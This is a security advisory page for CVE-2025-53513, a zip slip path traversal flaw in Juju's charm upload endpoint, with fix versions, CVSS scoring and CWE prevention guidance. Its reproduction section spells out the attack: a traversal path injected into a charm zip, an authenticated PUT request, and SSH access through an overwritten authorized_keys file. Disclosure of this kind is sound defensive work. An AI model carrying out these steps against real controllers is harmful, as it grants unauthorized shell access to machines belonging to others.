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GHSA-24ch-w38v-xmh8 CVE-2025-53513 GO-2025-3804

Juju zip slip vulnerability via authenticated endpoint

Medium Go
Severity
8.8 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.78%
Chance of exploitation in the next 30 days. Higher than 55.83% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-24 Path Traversal: '../filedir'
Fix
0.0.0-20250619215741-6356e984b82a
Upgrade github.com/juju/juju to this version or later

Description

Impact

Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.

Details

A controller exposes three charm-related HTTP API endpoints, as follows:

  • PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm>
  • POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms
  • GET https://<controller-ip>:17070/charms

These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.

To reproduce:

juju bootstrap
juju add-user testuser
juju change-user-password testuser

Download the ZIP file of an arbitrary charm eg https://github.com/juju/hello-juju-charm

Download and install the following tool: https://github.com/usdAG/slipit

Run the following command to generate a new SSH key pair: ssh-keygen

Copy the contents of the newly created public key into a file called authorized_keys

Run the following command to inject the malicious path into the ZIP file:

slipit hello.zip authorized_keys --separator ../../../../../../home/
ubuntu/.ssh/

Send the PUT request below to a model on the target controller. Note the following:

  • the model UUID and controller IP address in the request must be updated
  • the Juju-Curl header needs to be sent with a value that starts with the “local:” string
  • the PUT body content should have the exact contents of the ZIP file
  • the Basic Authorization header should be tied to the user that was created above
  • the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. pathtw-<updated-sha>)
PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c
HTTP/1.1
Host: 10.4.154.217:17070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko
/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Length: 40021
Content-Type: application/zip
Juju-Curl: local:pathtw
Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==
<ZIP BODY Content>

Observe that the response states that the charm has been uploaded.

Attempt to SSH to the controller by using the private key that was generated above.

Observe that it is possible to authenticate because the file has been overwritten.

Code

The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990

And the only auth required is that the incoming request be for an authenticated user

https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754

but no specific permission checks are done.

Workarounds

There are no known workarounds.

References

F-02

Affected versions

Go

PackageVulnerableFixed in
github.com/juju/juju
< 0.0.0-20250619215741-6356e984b82a
0.0.0-20250619215741-6356e984b82a

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/juju/juju Go → 0.0.0-20250619215741-6356e984b82a

go
go get github.com/juju/juju@v0.0.0-20250619215741-6356e984b82a && go mod tidy

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-24: Path Traversal: '../filedir'

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

References

Advisories

Packages

Other links

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7m55-2hr4-pw78
Juju: In-Memory Token Store for Discharge Tokens Lacks Concurrency Safety and Persistence
Medium Also affects github.com/juju/juju
GHSA-w5fq-8965-c969
Juju: CloudSpec method leaking cloud credentials
Medium Also affects github.com/juju/juju
GHSA-245v-p8fj-vwm2
Juju has a resource poisoning vulnerability
Medium Also affects github.com/juju/juju
GHSA-j6f6-jp3p-53mw
Juju: Read All Controller Logs From Compromised Workload
Medium Also affects github.com/juju/juju
GHSA-gvrj-cjch-728p
Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster
Critical Also affects github.com/juju/juju
GHSA-5cj2-rqqf-hx9p
Juju affected by Confused Deputy IDOR attack via Predictable user specified ID in Juju Secrets
Medium Also affects github.com/juju/juju
GHSA-439w-v2p7-pggc
Juju has unauthorized access to out-of-scope Kubernetes secrets
High Also affects github.com/juju/juju
GHSA-89x7-5m5m-mcmm
Juju has unauthorized update of out-of-scope Vault secrets
Medium Also affects github.com/juju/juju
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